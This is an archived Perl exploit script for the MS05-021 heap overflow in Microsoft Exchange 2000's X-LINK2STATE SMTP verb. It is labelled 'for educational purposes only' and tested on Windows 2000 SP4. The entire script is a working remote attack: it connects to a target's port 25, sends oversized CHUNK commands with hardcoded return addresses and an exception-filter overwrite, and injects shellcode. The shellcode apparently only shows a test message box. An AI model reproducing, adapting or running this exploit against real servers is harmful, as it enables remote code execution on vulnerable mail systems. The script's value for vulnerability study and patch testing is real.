home *** CD-ROM | disk | FTP | other *** search
- #!/bin/perl
- ##
- ##
- ## MS05-021 Exchange X-LINK2STATE Heap Overflow
- ## Author: Evgeny Pinchuk
- ## For educational purposes only.
- ##
- ## Tested on:
- ## Windows 2000 Server SP4 EN
- ## Microsoft Exchange 2000 SP3
- ##
- ## Thanks and greets:
- ## Halvar Flake (thx for the right directions)
- ## Alex Behar, Yuri Gushin, Ishay Sommer, Ziv Gadot and Dave Hawkins
- ##
- ##
- #
- use IO::Socket::INET;
-
- my $host = shift(@ARGV);
- my $port = 25;
- my $reply;
- my $request;
- my $EAX="\x55\xB2\xD3\x77"; # CALL DWORD PTR [ESI+0x4C] (rpcrt4.dll)
- my $ECX="\xF0\xA1\x5C\x7C"; # lpTopLevelExceptionFilter
- my $JMP="\xEB\x10";
-
-
- my $SC="\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x37\x59\x88\x51\x0a\xbb\xD5\x01" .
- "\x59\x7C\x51\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x0b\x51\x50\xbb\x5F" .
- "\x0C\x59\x7C\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x0D\x31\xd2\x52\x51" .
- "\x51\x52\xff\xd0\x31\xd2\x50\xb8\x72\x69\x59\x7C\xff\xd0\xe8\xc4\xff" .
- "\xff\xff\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x4e\xe8\xc2\xff\xff" .
- "\xff\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x41\x4e\xe8\xc2\xff\xff" .
- "\xff\x4D\x53\x30\x35\x2D\x30\x32\x31\x20\x54\x65\x73\x74\x4e";
-
- my $cmd="X-LINK2STATE CHUNK=";
-
- my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host, PeerPort=>$port);
- $socket or die "Cannot connect to host!\n";
-
- recv($socket, $reply, 1024, 0);
- print "Response:" . $reply;
- $request = "EHLO\r\n";
- send $socket, $request, 0;
- print "[+] Sent EHLO\n";
- recv($socket, $reply, 1024, 0);
- print "Response:" . $reply;
- $request = $cmd . "A"x1000 . "\r\n";
- send $socket, $request, 0;
- print "[+] Sent 1st chunk\n";
- recv($socket, $reply, 1024, 0);
- print "Response:" . $reply;
- $request = "A"x30 . $JMP . $EAX . $ECX . "B"x100 . $SC;
- my $left=1000-length($request);
- $request = $request . "C"x$left;
- $request = $cmd . $request . "\r\n";
- send $socket, $request, 0;
- print "[+] Sent 2nd chunk\n";
- recv($socket, $reply, 1024, 0);
- print "Response:" . $reply;
- close $socket;
- $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host, PeerPort=>$port);
- $socket or die "Cannot connect to host!\n";
- recv($socket, $reply, 1024, 0);
- print "Response:" . $reply;
- $request = "EHLO\r\n";
- send $socket, $request, 0;
- print "[+] Sent EHLO\n";
- recv($socket, $reply, 1024, 0);
- print "Response:" . $reply;
- $request = $cmd . "A"x1000 . "\r\n";
- send $socket, $request, 0;
- print "[+] Sent 3rd chunk\n";
-
- close $socket;
-